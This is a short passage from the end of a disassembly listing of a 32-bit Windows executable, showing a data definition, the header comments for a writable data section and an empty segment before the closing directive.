		dd 1D770000h, 0ADA07C80h, 7C80h, 0ABh dup(0)
seg001		ends

; Section 3. (virtual address 00017000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00017000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 417000h
		align 2000h
_idata2		ends


		end start